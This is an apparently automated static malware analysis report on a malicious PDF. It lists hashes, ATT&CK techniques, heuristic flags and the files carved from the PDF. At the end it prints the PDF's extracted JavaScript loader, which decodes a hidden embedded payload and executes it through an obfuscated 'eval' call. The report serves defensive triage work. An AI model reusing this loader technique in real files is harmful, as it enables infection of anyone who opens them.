Malicious PDF — malware analysis report

Static analysis result for SHA-256 debe3b623d65a57b…

MALICIOUS

PDF

5.9 KB First seen: 2013-08-21
MD5: d669dde0b0f43d57b50263415c51b6a2 SHA-1: ddbfd045b89997949ec7ecbe0715b9b5caabd224 SHA-256: debe3b623d65a57b114793445f01297ab209777fb0200d0cc11dc8da39600492
76 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1204.002 Malicious File

The PDF file exhibits multiple indicators of malicious intent, including embedded JavaScript and an embedded binary file. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript stream and the embedded file are likely components of a multi-stage attack, where the script potentially orchestrates the execution of the embedded binary.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0012.bin pdf-embedded-file PDF EmbeddedFile object 12 at offset 0x428 149220 bytes
SHA-256: 9de2ab4f48e35288dd1d85cbca2a7c1cc3f85a1b33ba52c04e99a509ac7a4d1c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
323 of 323 identifiers look randomly generated (e.g. 'lbKHhwDu7bzC1g3cP1lbKHhwDu7bzC1g3cP2lbKH') — consistent with name-mangling obfuscation. Carved artifact contains 145 long base64-like blob(s).
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x1CC 254 bytes
SHA-256: 1bc4bf38a788adcc495fb84f1f085cb4c62f9f214ddac09c9e3dd447973e35e6
Preview script
First 1,000 lines of the extracted script
ra=this.getDataObjectContents("xampp");rb=util.stringFromStream(ra, "utf-8");rc="";for (i=0;i<rb.length;i +=18){   rc +=rb.charAt(i);}rd="<test><one>ev</one><two>al</two></test>";re=XMLData.parse(rd);        rf=re.one.value+re.two.value;this[rf](rc);